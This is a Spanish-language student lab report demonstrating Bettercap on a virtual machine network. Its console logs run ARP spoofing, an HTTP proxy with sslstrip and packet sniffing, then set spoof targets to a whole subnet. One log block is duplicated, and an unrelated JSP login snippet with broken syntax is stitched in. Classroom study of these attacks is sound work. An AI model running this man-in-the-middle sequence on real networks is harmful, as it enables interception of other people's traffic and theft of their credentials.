



**TECNOLÓGICO  
NACIONAL DE MÉXICO**



**INSTITUTO TECNOLÓGICO DE CANCÚN**

**SISTEMAS COMPUTACIONALES**

**MATERIA: Fundamentos de Telecomunicaciones**

**PROFESOR: ING. ISMAEL JIMÉNEZ SÁNCHEZ**

**DEMO DE BETTERCAP: 33**

**Alumno:**

**SARRAGOT PASTRANA WILIAM ADRIEN**

# DEMO DE BETTERCAP

IP	MAC	Name	Vendor	Sent	Recvd	Seen
10.0.2.15	08:00:27:7a:f0:fe	eth0	PCS Computer Systems GmbH	0 B	0 B	13:49:23

```
0 B / 0 B / 0 pkts
10.0.2.0/24 > 10.0.2.15 » arp.spoof.targets 10.0.2.15
10.0.2.0/24 > 10.0.2.15 » [13:59:43] [sys.log] [err] unknown or invalid syntax "arp.spoof.targets 10.0.2.15", type help for the help menu
10.0.2.0/24 > 10.0.2.15 » set arp.spoof.targets 10.0.2.15
10.0.2.0/24 > 10.0.2.15 » get http.proxy.address
10.0.2.0/24 > 10.0.2.15 » [14:01:00] [sys.log] [err] http.proxy.address not found
10.0.2.0/24 > 10.0.2.15 » get http.proxy.address

http.proxy.address: '<interface address>'

10.0.2.0/24 > 10.0.2.15 » get http.proxy.sslstrip true
10.0.2.0/24 > 10.0.2.15 » [14:03:11] [sys.log] [err] http.proxy.sslstrip true not found
10.0.2.0/24 > 10.0.2.15 » set http.proxy.sslstrip true
10.0.2.0/24 > 10.0.2.15 » get http.proxy.sslstrip

http.proxy.sslstrip: 'true'

10.0.2.0/24 > 10.0.2.15 » set net.sniff.output test2.cap
10.0.2.0/24 > 10.0.2.15 » get net.sniff.output

net.sniff.output: 'test2.cap'

10.0.2.0/24 > 10.0.2.15 » arp.spoof on
[14:10:30] [sys.log] [inf] arp.spoof enabling forwarding
[14:10:30] [sys.log] [inf] arp.spoof starting net.recon as a requirement for arp.spoof
10.0.2.0/24 > 10.0.2.15 » [14:10:30] [endpoint.new] endpoint 10.0.2.3 detected as 52:54:00:12:35:03 (Realtek (UpTech? also reported)).
10.0.2.0/24 > 10.0.2.15 » [14:10:30] [sys.log] [inf] arp.spoof arp spoofer started, probing 1 targets.
10.0.2.0/24 > 10.0.2.15 » [14:10:30] [endpoint.new] endpoint 10.0.2.3 detected as 52:54:00:12:35:02 (Realtek (UpTech? also reported)).
10.0.2.0/24 > 10.0.2.15 » [14:10:40] [endpoint.lost] endpoint 10.0.2.3 52:54:00:12:35:02 (Realtek (UpTech? also reported)) lost.
10.0.2.0/24 > 10.0.2.15 » http.proxy on
10.0.2.0/24 > 10.0.2.15 » [14:11:05] [sys.log] [inf] http.proxy started on 10.0.2.15:8080 (sslstrip enabled)
10.0.2.0/24 > 10.0.2.15 » net.sniff on
10.0.2.0/24 > 10.0.2.15 »
```

## Modules

```
any.proxy > not running
api.rest > not running
arp.spoof > running
ble.recon > not running
caplets > not running
dhcp6.spoof > not running
dns.spoof > not running
events.stream > running
gps > not running
hid > not running
http.proxy > running
http.server > not running
https.proxy > not running
https.server > not running
mac.changer > not running
mdns.server > not running
mysql.server > not running
net.probe > not running
net.recon > running
net.sniff > running
packet.proxy > not running
syn.scan > not running
tcp.proxy > not running
ticker > not running
ui > not running
update > not running
wifi > not running
wol > not running
```

```
10.0.2.0/24 > 10.0.2.15 »
```

IP	MAC	Name	Vendor	Sent	Recv	Seen
10.0.2.15	08:00:27:7a:f0:fe	eth0	PCS Computer Systems GmbH	0 B	0 B	13:49:23

0 B / 0 B / 0 pkts

```

10.0.2.0/24 > 10.0.2.15 » arp.spoof.targets 10.0.2.15
10.0.2.0/24 > 10.0.2.15 » [13:59:43] [sys.log] [err] unknown or invalid syntax "arp.spoof.targets 10.0.2.15", type help for the help menu.
10.0.2.0/24 > 10.0.2.15 » set arp.spoof.targets 10.0.2.15
10.0.2.0/24 > 10.0.2.15 » get http.proxy.address
10.0.2.0/24 > 10.0.2.15 » [14:01:00] [sys.log] [err] http.proxy.address not found
10.0.2.0/24 > 10.0.2.15 » get http.proxy.address

http.proxy.address: '<interface address>'

10.0.2.0/24 > 10.0.2.15 » get http.proxy.sslstrip true
10.0.2.0/24 > 10.0.2.15 » [14:03:11] [sys.log] [err] http.proxy.sslstrip true not found
10.0.2.0/24 > 10.0.2.15 » set http.proxy.sslstrip true
10.0.2.0/24 > 10.0.2.15 » get http.proxy.sslstrip

http.proxy.sslstrip: 'true'

10.0.2.0/24 > 10.0.2.15 » set net.sniff.output test2.cap
10.0.2.0/24 > 10.0.2.15 » get net.sniff.output

net.sniff.output: 'test2.cap'

10.0.2.0/24 > 10.0.2.15 » arp.spoof on
[14:10:30] [sys.log] [inf] arp.spoof enabling forwarding
[14:10:30] [sys.log] [inf] arp.spoof starting net.recon as a requirement for arp.spoof
10.0.2.0/24 > 10.0.2.15 » [14:10:30] [endpoint.new] endpoint 10.0.2.3 detected as 52:54:00:12:35:03 (Realtek (UpTech? also reported)).
10.0.2.0/24 > 10.0.2.15 » [14:10:30] [sys.log] [inf] arp.spoof arp spoofer started, probing 1 targets.
10.0.2.0/24 > 10.0.2.15 » [14:10:30] [endpoint.new] endpoint 10.0.2.3 detected as 52:54:00:12:35:02 (Realtek (UpTech? also reported)).
10.0.2.0/24 > 10.0.2.15 » [14:10:40] [endpoint.lost] endpoint 10.0.2.3 52:54:00:12:35:02 (Realtek (UpTech? also reported)) lost.
10.0.2.0/24 > 10.0.2.15 » http.proxy on
10.0.2.0/24 > 10.0.2.15 » [14:11:05] [sys.log] [inf] http.proxy started on 10.0.2.15:8080 (sslstrip enabled)
10.0.2.0/24 > 10.0.2.15 » net.sniff on
10.0.2.0/24 > 10.0.2.15 »

```

```

<%@ page language="Java" import="java.sql.*" %>
<%
String uname=request.getParameter("userName");
String pwd=request.getParameter("password");
%>

<jsp:useBean id="db" scope="request" class="logbean.LoginBean" >

<jsp:setProperty name="db" property="userName" value="<%=uname%%" />
<jsp:setProperty name="db" property="password" value="<%=pwd%%" />

</jsp:useBean>
<jsp:forward page="hello">
<jsp:param name="username" value="<%=db.getUserName() %%" />
<jsp:param name="password" value="<%=db.getPassword() %%" />

</jsp:forward>

```



```

10.0.2.0/24 > 10.0.2.15 » net.sniff off
10.0.2.0/24 > 10.0.2.15 » http.proxy off
10.0.2.0/24 > 10.0.2.15 » arp.spoof off
[14:24:42] [sys.log] [inf] arp.spoof restoring ARP cache of 1 targets.
[14:24:42] [sys.log] [inf] arp.spoof waiting for ARP spoofer to stop ...
10.0.2.0/24 > 10.0.2.15 » net.show

```

IP	MAC	Name	Vendor	Sent	Recvd	Seen
10.0.2.15	08:00:27:7a:f0:fe	eth0	PCS Computer Systems GmbH	0 B	0 B	13:49:23
10.0.2.3	52:54:00:12:35:03		Realtek (UpTech? also reported)	162 B	162 B	14:10:30

0 B / 426 B / 6 pkts

```

10.0.2.0/24 > 10.0.2.15 » set arp.spoof.targets 192.168.100.0/24
10.0.2.0/24 > 10.0.2.15 »

```

